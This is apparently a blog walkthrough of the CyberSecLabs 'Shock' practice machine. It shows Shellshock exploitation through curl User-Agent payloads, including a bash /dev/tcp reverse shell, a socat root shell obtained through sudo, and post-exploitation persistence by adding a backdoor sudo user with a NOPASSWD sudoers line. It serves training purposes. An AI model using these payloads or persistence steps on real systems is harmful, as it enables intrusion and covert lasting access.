CyberSecLabs "SHOCK" No Metasploit Version - With Post Exploitation

Today we are covering the exploitation of SHOCK from CyberSecLabs (cyberseclabs.co.uk).  Shock requires identification and exploitation of the Shellshock vulnerability discovered several years ago which can still be devastating when not patched properly.  So let's get to work!

Scanning

As usual we will kick things off with a basic Nmap scan to see what we're working with, followed by a more detailed -A scan.  Here's what we see.

nmap 172.31.1.3

nmap -A 172.31.1.3

As you can see we have have a few ports open that we can poke around at, however we are going to start with the website.  

172.31.1.3 website on Port 80

So we have a website, and clicking around doesn't show us much.  Naturally we should check for other things like hidden directories, extension types, etc.  We can do this with Dirsearch.  Time to Enumerate!

Enumeration

Dirsearch is a pretty neat tool that allows subdirectory enumeration in a fairly quick manner.  Recursion is simple, and we are able to specify file or extension types, along with specifying any response codes we want to ignore.  

python3 dirsearch.py -u 172.31.1.3 -e php,cgi,sh,txt -x 400,401,403 -r -R 3

Running Dirsearch in this manner allows us to specify php, cgi, sh, and txt extensions, while ignoring 400,401,403 errors, and using the most aggressive recursive search available.  Furthermore, Dirsearch has a pretty good internal wordlist already, so you'll notice we didn't use one from elsewhere.  Our results are pretty straight forward, and as you see highlighted, we have /cgi-bin/test.cgi.  Any time you see cgi-bin you should consider that there may be a Shellshock vulnerability.  

Scanning this machine using Nmap didn't show any results about Shellshock vulnerabilities, however there are manual tests we can attempt as well.

Manual confirmation of Shellshock Vulnerability; Top - curl -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id" http://172.31.1.3/cgi-bin/test.cgi ; Bottom - curl -A "() { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /bin/cat /etc/passwd" http://172.31.1.3/cgi-bin/test.cgi

In the first curl -A command you'll see that we are successful in gathering the current user information.  In the second you'll see that we have actually been able to grab the contents of the PASSWD file.  This is proof that the Shellshock vulnerability exists, and we can now begin to exploit it.

Exploitation

Exploiting this vulnerability is pretty straightforward, and there are various methods to do it, from command line interaction to running the initial call from Burp Repeater.  In this case we are going to do it from our Kali Terminal.  We will need two terminal windows open - one running a Netcat listener, and the other to send the malicious attack.

Top - curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.0.7/1234 0>&1' http://172.31.1.3/cgi-bin/test.cgi ; Bottom - nc -nlvp 4444

If successful you should now have a reverse shell with the target machine.  From here we can grab that low privilege user flag if you wish.

Access.txt flag in Scott /home Directory

We need to determine what privileges we have as the low level user, if any.  In this case, we see that we are able to run Socat as a sudo user.

sudo -l ; Socat privileges as sudo

We need to put our research cap on now and see if there is anything we can do with Socat which would allow us to escalate our privileges on the machine.  Fortunately there is a way that allows us to create a reverse shell with Socat back to our machine.  You can use a Socat listener on your Kali machine if you'd like, however I find it simpler to stick with Netcat since it's what I know.  So we start our listener first, and then run our Socat command and hope that it connects to us.

Bottom - nc -nlvp 5555 ; Top - nc -nlvp 5555 in Kali; sudo socat tcp-connect:10.10.0.7:5555 exec:sh,pty,stderr,setsid,sigint,sane

As we see, we were not only able to capture that reverse shell, but also check our user ID and find that we are the root user.  If you're follow along on the challenge, you can grab your system.txt flag quick. You'll also noticed that I ran /bin/bash -i in order to get a nicer looking and functioning command line.

/bin/bash -i for command line; System flag in the root directory

If you're just here for the challenge flags, then we are all set for the day!  You've successfully exploited the machine. If you are interested in learning a bit about how to ensure persistence in the machine as you might in a real engagement then please stick around and follow along in the next section.

Post Exploitation

As you know by now I am trying to work in some Post Exploitation tasks in my walkthroughs as it is mostly forgotten about in the CTF realm.  Linux Post Exploitation is similar to Windows in that we can do things like create users, modify privileges, etc.  

In the case of this machine we will keep things simple by first creating a user utilizing the adduser command.

adduser themayor

You can set a password for the user and mostly ignore anything else you're asked at this point.  Say yes at the end to finish creating the user.  We can then go about modifying user privileges and adding the new user to the sudo group so that we can utilize sudo commands.

usermod -aG sudo themayor

Now that we have granted our user permission to utilize sudo, we need to grant permission for operations that can be conducted with sudo.  We can modify the Sudoers file to do this, and wll give ourselves root level privileges in the process.

echo 'themayor ALL=(root) NOPASSWD: ALL' >> /etc/sudoers

Here we have appended our echo'd command to the Sudoers file, which will now allow us to use sudo with anything we want on the system.  Make sure to confirm using cat /etc/sudoers.

cat /etc/sudoers confirmation of Sudoer entry

In the case of this machine it is unnecessary, however if you encounter a target without SSH enabled, at this point we could also enable it, allowing us remote access to the machine without having to re-run the Shellshock exploit.  You can keep this step in your toolbox for future use.

systemctl enable ssh

 Finally, we can log in to our new account and see if everything works.  As SSH is enabled we can log in via SSH.

ssh themayor@172.31.1.3

And now that we are logged in and can see that we have appropriate permissions, we can use sudo -i to interact with the root level user whenever we want or need.  

sudo -i interaction

And that is it!  We have successfully ensured our persistence on the target machine, and can now log in whenever necessary, and elevate our privileges if need.

Final Thoughts

This machine is a learning lesson for me through and through.  I generally struggle with Linux and find myself in the small group of people who are better at exploiting Windows than Unix type environments.  I hope this guide has helped you learn a thing or two, and I hope to see you around again soon.  Thanks for stopping in!